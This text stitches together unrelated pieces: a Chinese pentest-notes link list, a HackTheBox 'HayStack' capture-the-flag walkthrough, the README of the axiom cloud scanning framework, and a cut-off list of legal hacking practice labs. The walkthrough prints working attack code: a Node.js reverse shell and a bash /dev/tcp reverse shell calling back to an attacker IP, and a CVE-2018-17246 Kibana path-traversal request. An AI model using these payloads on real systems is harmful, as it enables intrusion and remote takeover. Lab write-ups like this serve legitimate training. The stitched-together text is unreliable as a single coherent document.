[自动化runbook](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/自动化runbook.md) - [虚拟机runCommand](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/虚拟机runCommand.md) - [KeyVault](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/KeyVault.md) - [Pass-The-PRT](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/Pass-The-PRT.md) - [Pass-The-Certificate](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/Pass-The-Certificate.md) - [Intunes管理](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/Intunes管理.md) - [动态组成员资格](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/动态组成员资格.md) - [Administrative-Unit](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/Administrative-Unit.md) - [部署模板](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/部署模板.md) - [应用程序代理](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/应用程序代理.md) - [条件访问](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/条件访问.md) - [AzureAD](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/AzureAD.md) - [AzureAD连接](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Azure/AzureAD连接.md) - [Aliyun](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Aliyun/README.md) - [osskey](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/Aliyun/osskey.md) - [工具](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/云安全/工具.md)
# HayStack ![eyER9x.png](https://s2.ax1x.com/2019/08/04/eyER9x.png) ## Introduction Target: 10.10.10.115(Linux) Kali: 10.10.16.61 HayStack is an easy box in hack the box. But it does isn't easy at all. It's annoying to find the user and password in the messy Spanish. For the root, you should have a basic understanding of ELK. Hence, the box is quite fresh in htb. ## Information Enumeration As usual, nmap is utilized to detect detailed ports and services. ``` # Nmap 7.70 scan initiated Sun Jun 30 01:10:53 2019 as: nmap -sT -p- --min-rate 1500 -oN ports 10.10.10.115 Nmap scan report for 10.10.10.115 Host is up (0.27s latency). Not shown: 65532 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 9200/tcp open wap-wsp ``` Then detect the detailed services: ``` # Nmap 7.70 scan initiated Sun Jun 30 01:13:05 2019 as: nmap -sC -sV -p22,80,9200 -oN services 10.10.10.115 Nmap scan report for 10.10.10.115 Host is up (0.38s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA) | 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA) |_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519) 80/tcp open http nginx 1.12.2 |_http-server-header: nginx/1.12.2 |_http-title: Site doesn't have a title (text/html). 9200/tcp open http nginx 1.12.2 |_http-server-header: nginx/1.12.2 |_http-title: 502 Bad Gateway ``` For port 80, we find nothing except a picture of a needle. Exiftool is used to analyze. But nothing interesting found. Try to use gobuster to brute force the directory, but have not found any useful directories. ![eDD780.png](https://s2.ax1x.com/2019/08/03/eDD780.png) For port 9200, nmap seems to be failed to detect. But this port should be familiar to elasticserarch users. Elasticsearch is a popular search database in recent years. Something is interesting in elasticsearch. We will talk about this later. ![eDrFKO.png](https://s2.ax1x.com/2019/08/03/eDrFKO.png) ## Exploit In the above, we have talked about the ports. The elasticsearch should be the point. Try to obtain the data of elasticsearch. There is no authentication for elasticsearch in default. Hence, we can read the data from elasticsearh. In the beginning, I have tried to use kibana to analyze the data. Kibana is one component of ELK, which is a powerful tool to analyze the data of elasticsearch. And it's easy to use. Just download the [files](https://www.elastic.co/cn/downloads/past-releases/kibana-6-4-2), then decompress the files. There is only one step to finish before run kibana. Modify `elasticsearch.url` in `config.yml`, it should be configured to `10.10.10.115:9200`. Then you can run kibana directly. When you access to kibana, you will find two indexes: `bank` and `quotes`. The `bank` seems to be data of bank users information, which seems not to be useful. For index `quotes`, we have found nothing but the quote of Spanish. To be honest, Spanish is really messy for me to read. And I cannot find anything interesting. Kibana is useful for query specific field. But `quotes` seems to be an article. So I decide to dump all the data of `quotes`. [elasticsearh-dump](https://github.com/taskrabbit/elasticsearch-dump) is useful to dump the data from elasticsearch. Firstly, install the tool by `npm install elasticdump -g`. Then dump the data by: ``` elasticdump \ --input=http://production.es.com:9200/quotes \ --output=quptes.json \ --type=data ``` The result will be json file of a list of objects consist of some keys. The most important is the quote in the result. But the json is still not convenient to read. And the id may be the sequence of quotes. So, I decide to write a script to order the quotes by id and join all the quotes together. ```python import json result = {} txt = "" with open("quotes.json") as f: data = f.readlines() for ele in data: obj = json.loads(ele) id = int(obj["_id"]) result[id] = obj["_source"]["quote"] for i in sorted(result.keys()): print(i) txt = txt + result[i] + "\n\n" with open("result.md", "w") as f1: f1.write(txt) ``` Now, I have the result of quotes. And it's easy to read. I place this file in Github. When I read this file by Chrome, Chrome can help me translate this article. So, it's easier to find special things in the article. I have found two interesting strings in the article. ``` Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg ``` ``` Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk= ``` If you translate the two stings into English respectively. ``` I have to save the password for the machine: dXNlcjogc2VjdXJpdHkg ``` ``` This key cannot be lost, I keep it here: cGFzczogc3BhbmlzaC5pcy5rZXk= ``` The end of the strings is encoded by base64. When decoded, we can find the username and password. Then you can ssh by the username and password. ![erZrTA.png](https://s2.ax1x.com/2019/08/03/erZrTA.png) To be honest, I don't like the user of the box. But it does works as the keyword: you have to find a needle in haystack. ## PrivEsc If you look around the box, you will find the box is installed with ELK. You can find kibana and logstash in the box. If you google `kibana exploit`. You will find [CVE-2018-17246](https://github.com/mpgn/CVE-2018-17246) in Github. It has detailed illustrates the ways to exploit. However, there is a problem that the kibana service is only running in local. So you cannot access kibana service externally. There is a way to utilize ssh to redirect the network stream. ``` ssh 5601:localhost:5601 [email protected] ``` Then, we can access to the kibana service in 10.10.10.115 by access to `localhost:5601`. Place the `server.js` in tmp directory of the target machine. ``` // server.js (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1234, "10.10.16.61", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })(); ``` Then we can implement by burp, remember to set up nc listener `nc -lvnp 1234` ``` GET /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/server.jssudo -l HTTP/1.1 Host: localhost:5601 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:5601/app/kibana content-type: application/json kbn-version: 6.4.2 origin: http://localhost:5601 Connection: close ``` Wait for a while, then we are kibana. [![erlWZT.png](https://s2.ax1x.com/2019/08/03/erlWZT.png)](https://imgchr.com/i/erlWZT) But we are still not root! Don't be upset. Let's move on. If we look at the logstash in the machine carefully, we will find something interesting. We find the user group `kibana` has write permission of `conf.d` of logstash. ``` ls -lah total 52K drwxr-xr-x. 3 root root 183 jun 18 22:15 . drwxr-xr-x. 83 root root 8,0K jun 24 05:44 .. drwxrwxr-x. 2 root kibana 62 jun 24 08:12 conf.d -rw-r--r--. 1 root kibana 1,9K nov 28 2018 jvm.options -rw-r--r--. 1 root kibana 4,4K sep 26 2018 log4j2.properties -rw-r--r--. 1 root kibana 342 sep 26 2018 logstash-sample.conf -rw-r--r--. 1 root kibana 8,0K ene 23 2019 logstash.yml -rw-r--r--. 1 root kibana 8,0K sep 26 2018 logstash.yml.rpmnew -rw-r--r--. 1 root kibana 285 sep 26 2018 pipelines.yml -rw-------. 1 kibana kibana 1,7K dic 10 2018 startup.option ``` `conf.d` is the config directory of logstash consists of three files in general. Take a deep look into the directory, you'll find an interesting thing. There is a command executes in `output.conf`. If you have basic knowledge of logstash, you should know the function of the three files. `input.conf` is used to config the data source. `filter.conf` is used to process the data, which is usually combined with grok. `output.conf` is used to output the processed data. We can find there is an `exec` in the `output.conf`. So the exploit is very clear. Create a file in `/opt/kibana/` whose name begins with `logstah_`. And make sure the content in the file can be parsed by grok correctly. Then the command can be executed successfully. The most important part is how to create the content to be parsed to correct `comando`. So you should know how to use grok. Grok is utilized to recognize specific fields by the regular expression. [Grok Debugger] is a useful tool to test grok online. ![eyPIxg.png](https://s2.ax1x.com/2019/08/04/eyPIxg.png) The expression is quite simple. If you know the regular expression, it will not be hard to understand the expression here. **filter.conf** ``` filter { if [type] == "execute" { grok { match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" } } } } ``` **input.conf** ``` input { file { path => "/opt/kibana/logstash_*" start_position => "beginning" sincedb_path => "/dev/null" stat_interval => "10 second" type => "execute" mode => "read" } } ``` **output.conf** ``` output { if [type] == "execute" { stdout { codec => json } exec { command => "%{comando} &" } } } ``` Now, we have known how to create the corresponding `comando`. The next step is to choose the command to execute. There is not nc in the machine. But there's python and perl in the machine. But the reverse shell command is a little long. So I choose to use `bash -i >& /dev/tcp/10.10.16.61/1234 0>&1`. Write the content to the corresponding file: ``` echo "Ejecutar comando: bash -i >& /dev/tcp/10.10.16.61/1234 0>&1" > /opt/kibana/logstash_1.txt ``` Use the nc to listen at port 1234, wait a while, root is coming. ![eykUVs.png](https://s2.ax1x.com/2019/08/04/eykUVs.png)
<h1 align="center"> <img src="screenshots/axiom_banner.png" alt="axiom"></a> <br> </h1> [![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT) [![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/pry0cc/axiom/issues) [![Follow on Twitter](https://img.shields.io/twitter/follow/pry0cc.svg?logo=twitter)](https://twitter.com/pry0cc) [![Follow on Twitter](https://img.shields.io/twitter/follow/0xtavian.svg?logo=twitter)](https://twitter.com/0xtavian) <p align="center"> <a href="https://github.com/pry0cc/axiom/wiki" target="_blank"> <img src="https://github.com/projectdiscovery/nuclei/raw/367d12700e252ec7066c79b1b97a6427544d931c/static/read-the-docs-button.png" height="42px"/></a> </p> **Axiom is a dynamic infrastructure framework** to efficiently work with multi-cloud environments, build and deploy repeatable infrastructure focused on offensive and defensive security. Axiom works by pre-installing your tools of choice onto a 'base image', and then using that image to deploy fresh instances. From there, you can connect and instantly gain access to many tools useful for both bug hunters and pentesters. With the power of immutable infrastructure, most of which is done for you, you can just spin up 15 boxes, perform a distributed nmap/ffuf/screenshotting scan, and then shut them down. Because you can create many disposable instances very easily, axiom allows you to distribute scans of many different tools (full list [here]( https://github.com/pry0cc/axiom#tools-to-date)). Once installed and setup, you can distribute a scan of a large set of targets across 100-150 instances within minutes and get results extremely quickly. This is called [axiom-scan](https://github.com/pry0cc/axiom/wiki/Scans). Axiom supports several cloud providers, eventually, axiom should be completely cloud agnostic allowing unified control of a wide variety of different cloud environments with ease. Currently, DigitalOcean, IBM Cloud, Linode, Azure and AWS are officially supported providers. GCP isnt supported but is partially implemented and on the roadmap. If you would like prioritization of a feature or provider implementation, please contact me @pry0cc on Twitter and we can discuss :) # Resources - [Introduction](https://github.com/pry0cc/axiom/wiki) - [Troubleshooting & FAQ](https://github.com/pry0cc/axiom/wiki/0-Installation#troubleshooting) - [Quickstart](https://github.com/pry0cc/axiom/wiki/A-Quickstart-Guide) - [Fleets](https://github.com/pry0cc/axiom/wiki/Fleets) - [Scans](https://github.com/pry0cc/axiom/wiki/Scans) - [Demo](#demo) - [Story](https://github.com/pry0cc/axiom/wiki/The-Story) - [Installation Instructions](https://github.com/pry0cc/axiom#installation) - [Docker Install](#docker) - [Easy Install](#easy-install) - [Manual Install](https://github.com/pry0cc/axiom/wiki/0-Installation#Manual) - [Scan Modules](https://github.com/pry0cc/axiom/wiki/Scans#example-axiom-scan-modules) - [Installed Packages](#tools-to-date) - [Contributors](#contributors) # Credits The original and best supported provider for Axiom is Digital Ocean! If you're signing up for a new Digital Ocean account, [please use my link](https://m.do.co/c/bd80643300bd) for $100 free credit! <p align="center"> <a href="https://m.do.co/c/bd80643300bd" target="_blank"> <img src="https://raw.githubusercontent.com/pry0cc/axiom/master/screenshots/Referrals/digitalocean_referral.png"/> </a> </p> The best supported business provider for Axiom is IBM Cloud! If you're signing up for a new IBM Cloud account, [please use this link](https://cloud.ibm.com/docs/overview?topic=overview-tutorial-try-for-free) for $200 free credit! <p align="center"> <a href="https://cloud.ibm.com/docs/overview?topic=overview-tutorial-try-for-free" target="_blank"> <img src="https://raw.githubusercontent.com/pry0cc/axiom/master/screenshots/Referrals/ibm_cloud_referral_new.png"/> </a> </p> <p align="center"> <a href="https://www.linode.com/?r=23ac507c0943da0c44ce1950fc7e41217802df90" target="_blank"> <img src="https://github.com/pry0cc/axiom/blob/3e8dca3d58a02dc71778492a1fe077e769f93edd/screenshots/Referrals/Linode-referral.png"/> </a> </p> <p align="center"> <a href="https://aws.com" target="_blank"> <img src="https://raw.githubusercontent.com/pry0cc/axiom/master/screenshots/Referrals/aws_dark_referral.png"/> </a> </p> <p align="center"> <a href="https://azure.com" target="_blank"> <img src="https://raw.githubusercontent.com/pry0cc/axiom/master/screenshots/Referrals/azure_referral.png"/> </a> </p> # Installation ## Docker This will create a docker container, initiate [`axiom-configure`](https://github.com/pry0cc/axiom/wiki/Filesystem-Utilities#axiom-configure) and [`axiom-build`](https://github.com/pry0cc/axiom/wiki/Filesystem-Utilities#axiom-build) and then drop you out of the docker container. Once the [Packer](https://www.packer.io/) image is successfully created, you will likely need to re-exec into your docker container via `docker exec -it $container_id zsh`. ``` docker exec -it $(docker run -d -it --platform linux/amd64 ubuntu:20.04) sh -c "apt update && apt install git -y && git clone https://github.com/pry0cc/axiom ~/.axiom/ && cd && .axiom/interact/axiom-configure" ``` ## Easy Install You should use an OS that supports our [easy install](https://github.com/pry0cc/axiom#operating-systems-supported). <br> For Linux systems you will also need to install the newest versions of all packages beforehand `sudo apt dist-upgrade`. <br> ``` bash <(curl -s https://raw.githubusercontent.com/pry0cc/axiom/master/interact/axiom-configure) ``` If you have any problems with this installer, or if using an unsupported OS please refer to [Installation](https://github.com/pry0cc/axiom/wiki/0-Installation). # Demo In this demo (sped up out of respect for your time ;) ), we show how easy it is to initialize and ssh into a new instance. <img src="https://raw.githubusercontent.com/pry0cc/axiom/master/screenshots/axiom-init-demo.gif" > # Sponsored By SecurityTrails! <img src="https://github.com/pry0cc/axiom/blob/master/screenshots/st.png"> We are lucky enough to be sponsored by the awesome SecurityTrails! Sign up for your free account <a href="https://securitytrails.com/app/signup?utm_source=axiom">here!</a> # Support If you like Axiom and it saves you time, money or just brings you happy feelings, please show your support through sponsorship! Click the little sponsor button in the header and sponsor for as little as $1 per month :) Or buy me a coffee to keep me powered :) <a href="https://www.buymeacoffee.com/pry0cc" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/default-black.png" alt="Buy Me A Coffee" width=300px> </a> --- ## Operating Systems Supported | OS | Supported | Easy Install | Tested | |------------|-----------|---------------|---------------| | Ubuntu | Yes | Yes | Ubuntu 20.04 | | Kali | Yes | Yes | Kali 2021.3 | | Debian | Yes | Yes | Debian 10 | | Windows | Yes | Yes | WSL w/ Ubuntu | | MacOS | Yes | Yes | MacOS 11.6 | | Arch Linux | Yes | No | Yes | # Contributors We've had some really fantastic additions to axiom, great feedback through issues, and perseverence through our heavy beta phase! A list of all contributors can be found [here](https://github.com/pry0cc/axiom/graphs/contributors), thank you all! # Art The [original logo](https://github.com/pry0cc/axiom/blob/master/screenshots/axiom-logo.png) was made by our amazing [s0md3v](https://twitter.com/s0md3v)! Thank you for making axiom look sleek as hell! Really beats my homegrown logo :) The awesome referral banners were inspired by [fleex](https://github.com/FleexSecurity/fleex) and were made by the one and only [xm1k3](https://twitter.com/xm1k3_)! # Tools to Date > for [default](https://github.com/pry0cc/axiom/blob/master/images/provisioners/default.json) provisioner - [x] aiodnsbrute - [x] Amass - [x] anew - [x] anti-burl - [x] aquatone - [x] Arjun - [x] assetfinder - [x] axiom - [x] axiom-dockerfiles - [x] cent - [x] cero - [x] chaos-client - [x] commix - [x] concurl - [x] Corsy - [x] CrackMapExec - [x] crlfuzz - [x] dalfox - [x] dirdar - [x] DNSCewl - [x] dnsgen - [x] dnsrecon - [x] dns resolvers by trickest - [x] dnsvalidator - [x] dnsx - [x] Docker - [x] ERLPopper - [x] exclude-cdn - [x] feroxbuster - [x] fff - [x] ffuf - [x] findomain - [x] gau - [x] gauplus - [x] getJS - [x] gf - [x] Gf-Patterns - [x] github-endpoints - [x] github-subdomains - [x] Go - [x] gobuster - [x] google-chrome - [x] gorgo - [x] gospider - [x] gowitness - [x] gron - [x] Gxss - [x] hakrawler - [x] hakrevdns - [x] httprobe - [x] httpx - [x] interactsh-client - [x] Interlace - [x] ipcdn - [x] jaeles - [x] kiterunner - [x] kxss - [x] leaky-paths - [x] LinkFinder - [x] masscan - [x] massdns - [x] medusa - [x] meg - [x] naabu - [x] nmap - [x] nuclei - [x] OpenRedireX - [x] ParamSpider - [x] phantomjs - [x] proxychains-ng - [x] puredns - [x] qsreplace - [x] responder.py - [x] RustScan - [x] s3scanner - [x] scrying - [x] SecLists - [x] shuffledns - [x] six2dez dns permutations - [x] sqlmap - [x] subfinder - [x] subjack - [x] subjs - [x] testssl - [x] thc-hydra - [x] tlsx - [x] trufflehog - [x] ufw - [x] unimap - [x] wafw00f - [x] waybackurls - [x] webscreenshot - [x] wpscan # Packages Installed via apt-get > for [default](https://github.com/pry0cc/axiom/blob/master/images/provisioners/default.json) provisioner - [x] bison - [x] build-essential - [x] fail2ban - [x] firebird-dev - [x] flex - [x] git - [x] grc - [x] jq - [x] libgcrypt11-dev_1.5.4-3+really1.8.1-4ubuntu1.2_amd64.deb - [x] libgcrypt20-dev - [x] libgpg-error-dev - [x] libgtk2.0-dev - [x] libidn11-dev - [x] libmemcached-dev - [x] libmysqlclient-dev - [x] libpcap-dev - [x] libpcre3-dev - [x] libpq-dev - [x] libssh-dev - [x] libssl-dev - [x] libsvn-dev - [x] net-tools - [x] ohmyzsh - [x] p7zip - [x] python3-pip - [x] ruby-dev - [x] rubygems - [x] ufw - [x] unzip - [x] zsh - [x] zsh-autosuggestions - [x] zsh-syntax-highlighting <a href="https://github.com/pry0cc/axiom/wiki" target="_blank"> <img src="screenshots/Referrals/axiom_docs.png"/></a> Do you want to add a package to axiom? [Read the wiki!](https://github.com/pry0cc/axiom/wiki/Adding-Simple-Modules) <p align="center"> </p>
# HackTheBox Walkthrough of HackTheBox Challenges ## Solved Boxes 1. Emdee five for life 1. Templated 1. Phonebook
# awesome-cyber-skills **A curated list of hacking environments where you can train your cyber skills free, legally and safely** ![](https://user-images.githubusercontent.com/24913656/230711515-f0848676-f967-4690-9914-40646ec40c4a.png) ## About the List In the field of Information Security, understanding the enemy, the hacker, is crucial. By knowing your enemy, you can effectively defend and secure the digital world. > "Know the enemy, and you can defeat the enemy." In the USA, even high-ranking retired police officers continue to advise residents on how to better secure their homes. They visit houses and identify weak points, sharing their knowledge of the criminals' techniques to help prevent break-ins. To hone your cybersecurity skills, you need to keep your hacking skills up-to-date. To achieve this, a safe, legal, and free environment is necessary for practice. This list compiles websites that offer various opportunities to practice your cyber skills. Each site has a unique approach, and a brief description is provided to highlight its focus. Some sites offer tutorials to guide you, while others encourage self-directed exploration. This post will be regularly updated with new sites, so bookmark it or follow me to stay informed with the latest overview. If you are missing a site not mentioned in the list, feel free to [contribute](https://github.com/joe-shenouda/awesome-cyber-skills/blob/master/CONTRIBUTING). ## CONTRIBUTORS [foleranser](https://github.com/foleranser) • [filinpavel](https://github.com/filinpavel) • [BenDrysdale](https://github.com/BenDrysdale) • [HrushikeshK](https://github.com/HrushikeshK) • [deveyNull](https://github.com/deveyNull) • [nirmalunagar](https://github.com/nirmalunagar) • [roya0045](https://github.com/roya0045) • [photoelf](https://github.com/photoelf) ## About the Author [LinkedIn](https://www.linkedin.com/in/josephshenouda/) 🌍 [Twitter](https://twitter.com/JoeyShenouda) 🌍 [Cybersecurity News](https://www.cyber-consult.org) **[Joe Shenouda](https://nl.linkedin.com/in/josephshenouda)** - _"Our work is no longer to secure computers alone, it's now about securing society."_ Joe Shenouda is a seasoned cybersecurity expert with experience in engineering, consulting, and research. He has worked with leading companies like Verizon and Accenture, specializing in operational cybersecurity. Joe is passionate about mentoring and training the next generation of cybersecurity specialists, using industry standards like ISO, NIST, and CIS Controls to guide organizations in adopting best practices. **Accolades:** - Named one of the 50 most talented young leaders in the Netherlands by MT Magazine - Received the Goudhaantje Award in 2019 **Geography:** Benelux, Middle-East & Nordics (Belgium, Netherlands, Luxembourg, Denmark, Norway, Sweden, Finland, Egypt, Monaco, Vatican City) **GitHub Portfolio:** [https://github.com/joe-shenouda/](https://github.com/joe-shenouda/) ✨ Active security clearance ✨ Please share this list if you find it useful. Let me know if you like it ## Support If you would like to support this project, you can make a donation through PayPal: [![Donate with PayPal](https://img.shields.io/badge/Donate-PayPal-blue)](https://www.paypal.com/donate/?business=P9L4Y9YQYEW3Y&no_recurring=0&currency_code=EUR) Don't forget to give this repo a ✨ STAR! Ạ̸͛̀̑̚w̷̙͓͊̑̈́͂̀̈́ẻ̸̟̝̒͠s̸̛̜̣͖̘̪̦͂͂̃͛͜o̷͕̺͎͔͌̏m̵͈̝͎̓̓̀͆̂ẻ̴͕̲̳͝ ̸̺̽̋̒̚̕Ĉ̷̺̩̭̐͘͝ỳ̴̨̱͂́b̷̀̉̍̓̀͋̈́̚ͅḛ̸̲̝̈́̊̈́̾͑̏̀̒r̴̰̬̘̻͙̉̌̀͆̎ ̴̰͐S̷̫̜̖͍̋͌̎k̸̢̯͒͊̀̍̽͂͝͠ï̴̛̘͚͘l̴̤̬͕̺̙̮̱͇͊̉ḽ̷̝̣̪̘́̅s̷̼̜̀̉͒̈́ |Site name|Description| |:--|:--| |[Altoro Mutual](https://demo.testfire.net/index.jsp)|Altoro is a fake banking website, containing various security vulnerabilities.| |[Arizona Cyber Warfare Range](http://azcwr.org/)|The ranges offer an excellent platform for you to learn computer network attack (CNA), computer network defense (CND), and digital forensics (DF). You can play any of these roles.| |[AzureGoat](https://github.com/ine-labs/AzureGoat)|AzureGoat : A Damn Vulnerable Azure Infrastructure.| |[BodgeIt Store](https://github.com/psiinon/bodgeit)|The BodgeIt Store is a vulnerable web application which is currently aimed at people who are new to pen testing.| |[bWAPP](http://www.itsecgames.com/)|buggy web application, is a free and open source deliberately insecure web application. It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities. bWAPP prepares one to conduct successful penetration testing and ethical hacking projects.| |[Cyber Degrees](http://www.cyberdegrees.org/resources/free-online-courses/)|Free online cyber security Massive Open Online Courses (MOOCS).| |[Commix testbed](https://github.com/commixproject/commix-testbed)|A collection of web pages, vulnerable to command injection flaws.| |[CryptOMG](https://github.com/SpiderLabs/CryptOMG)|CryptOMG is a configurable CTF style test bed that highlights common flaws in cryptographic implementations.| |[Cyber Security Base](https://cybersecuritybase.github.io/)|Cyber Security Base is a page with free courses by the University of Helsinki in collaboration with F-Secure.| |[Cybersecuritychallenge UK](https://cybersecuritychallenge.org.uk/)|Cyber Security Challenge UK runs a series of competitions designed to test your cyber security skills.| |[CyberTraining 365](https://www.cybertraining365.com/cybertraining/FreeClasses)|Cybertraining365 has paid material but also offers free classes. The link is directed at the free classes.| |[Cybrary.it](https://www.cybrary.it/)|Free and Open Source Cyber Security Learning.| |[Damn Small Vulnerable Web](https://github.com/stamparm/DSVW)|Damn Small Vulnerable Web (DSVW) is a deliberately vulnerable web application written in under 100 lines of code, created for educational purposes. It supports the majority of (most popular) web application vulnerabilities together with appropriate attacks.| |[Damn Vulnerable Android App](https://code.google.com/archive/p/dvaa/)|Damn Vulnerable Android App (DVAA) is an Android application which contains intentional vulnerabilities.| |[Damn Vulnerable Hybrid Mobile App](https://github.com/logicalhacking/DVHMA)|Damn Vulnerable Hybrid Mobile App (DVHMA) is a hybrid mobile app (for Android) that intentionally contains vulnerabilities.| |[Damn Vulnerable iOS App](http://damnvulnerableiosapp.com/)|Damn Vulnerable iOS App (DVIA) is an iOS application that is damn vulnerable.| |[Damn Vulnerable Linux](http://www.computersecuritystudent.com/SECURITY_TOOLS/DVL/lesson1/)|Damn Vulnerable Linux (DVL) is everything a good Linux distribution isn't. Its developers have spent hours stuffing it with broken, ill-configured, outdated, and exploitable software that makes it vulnerable to attacks.| |[Damn Vulnerable Router Firmware](https://github.com/praetorian-inc/DVRF)|The goal of this project is to simulate a real-world environment to help people learn about other CPU architectures outside of the x86_64 space. This project will also help people get into discovering new things about hardware.| |[Damn Vulnerable Stateful Web App](https://github.com/silentsignal/damn-vulnerable-stateful-web-app)|Short and simple vulnerable PHP web application that naïve scanners found to be perfectly safe.| |[Damn Vulnerable Thick Client App](https://github.com/secvulture/dvta)|DVTA is a Vulnerable Thick Client Application developed in C# .NET with many vulnerabilities.| |[Damn Vulnerable Web App](https://github.com/digininja/DVWA/)|Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.| |[Damn Vulnerable Web Services](https://github.com/snoopysecurity/dvws)|Damn Vulnerable Web Services is an insecure web application with multiple vulnerable web service components that can be used to learn real-world web service vulnerabilities.| |[Damn Vulnerable Web Sockets](https://github.com/interference-security/DVWS)|Damn Vulnerable Web Sockets (DVWS) is a vulnerable web application which works on web sockets for client-server communication.| |[Damnvulnerable.me](https://github.com/skepticfx/damnvulnerable.me)|A deliberately vulnerable modern-day app with lots of DOM-related bugs.| |[Dareyourmind](https://web.archive.org/web/20170618221231/http://www.dareyourmind.net/)|Online game, hacker challenge (mirror archive).| |[DIVA Android](https://github.com/payatu/diva-android)|Damn Insecure and vulnerable App for Android.| |[ENISA Training Material](https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material)|The European Union Agency for Network and Information Security (ENISA) Cyber Security Training. You will find training materials, handbooks for teachers, toolsets for students and Virtual Images to support hands-on training sessions.| |[exploit.co.il Vulnerable Web App](https://sourceforge.net/projects/exploitcoilvuln/?source=recommended)|exploit.co.il Vulnerable Web app designed as a learning platform to test various SQL injection Techniques.| |[Exploit-exercises.com](https://exploit-exercises.com/)|exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues.| |[ExploitMe Mobile](http://securitycompass.github.io/AndroidLabs/index.html)|Set of labs and an exploitable framework for you to hack mobile an application on Android.| |[Game of Hacks](http://www.gameofhacks.com/)|This game was designed to test your application hacking skills. You will be presented with vulnerable pieces of code and your mission if you choose to accept it is to find which vulnerability exists in that code as quickly as possible.| |[GameOver](https://sourceforge.net/projects/null-gameover/)|Project GameOver was started with the objective of training and educating newbies about the basics of web security and educate them about the common web attacks and help them understand how they work.| |[Gh0stlab](http://www.gh0st.net/?p=19)|A security research network where like-minded individuals could work together towards the common goal of knowledge.| |[GOAD (Game Of Active Directory)](https://github.com/Orange-Cyberdefense/GOAD)|GOAD is a pentest active directory LAB project. The purpose of this lab is to give pentesters a vulnerable Active directory environment ready to use to practice usual attack techniques.| |[GoatseLinux](http://neutronstar.org/goatselinux.html)|GSL is a Vmware image you can run for penetration testing purposes.| |[Google Gruyere](http://google-gruyere.appspot.com/)|Labs that cover how an application can be attacked using common web security vulnerabilities, like cross-site scripting vulnerabilities (XSS) and cross-site request forgery (XSRF). Also, you can find labs how to find, fix, and avoid these common vulnerabilities and other bugs that have a security impact, such as denial-of-service, information disclosure, or remote code execution.| |[Gracefully Vulnerable Virtual Machine](https://www.vulnhub.com/entry/seattle-v03,145/)| Graceful’s VulnVM is VM web app designed to simulate a simple eCommerce style website which is purposely vulnerable to a number of well know security issues commonly seen in web applications.| |[Hack The Box](https://www.hackthebox.eu/)|Hack The Box is an online platform allowing you to test your penetration testing skills and exchange ideas and methodologies with other members of similar interests. In order to join you should solve an entry-level challenge.| |[Hack This Site](https://www.hackthissite.org/)|More than just another hacker wargames site, Hack This Site is a living, breathing community with many active projects in development, with a vast selection of hacking articles and a huge forum where users can discuss hacking, network security, and just about everything.| |[Hack Yourself First](https://hackyourselffirst.troyhunt.com/)|This course is designed to help web developers on all frameworks identify risks in their own websites before attackers do and it uses this site extensively to demonstrate risks.| |[Hack.me](https://hack.me/)|Hack.me aims to be the largest collection of "runnable" vulnerable web applications, code samples and CMS's online. The platform is available without any restriction to any party interested in Web Application Security.| |[Hackademic](https://github.com/Hackademic/hackademic)|Offers realistic scenarios full of known vulnerabilities (especially, of course, the OWASP Top Ten) for those trying to practice their attack skills.| |[Hackazon](https://github.com/rapid7/hackazon)|A modern vulnerable web app.| |[Hackertest.net](http://www.hackertest.net/)|HackerTest.net is your own online hacker simulation with 20 levels.| |[Hacking-Lab](https://www.hacking-lab.com/Remote_Sec_Lab/)|Hacking-Lab is an online ethical hacking, computer network and security challenge platform, dedicated to finding and educating cyber security talents. Furthermore, Hacking-Lab is providing the CTF and mission style challenges for 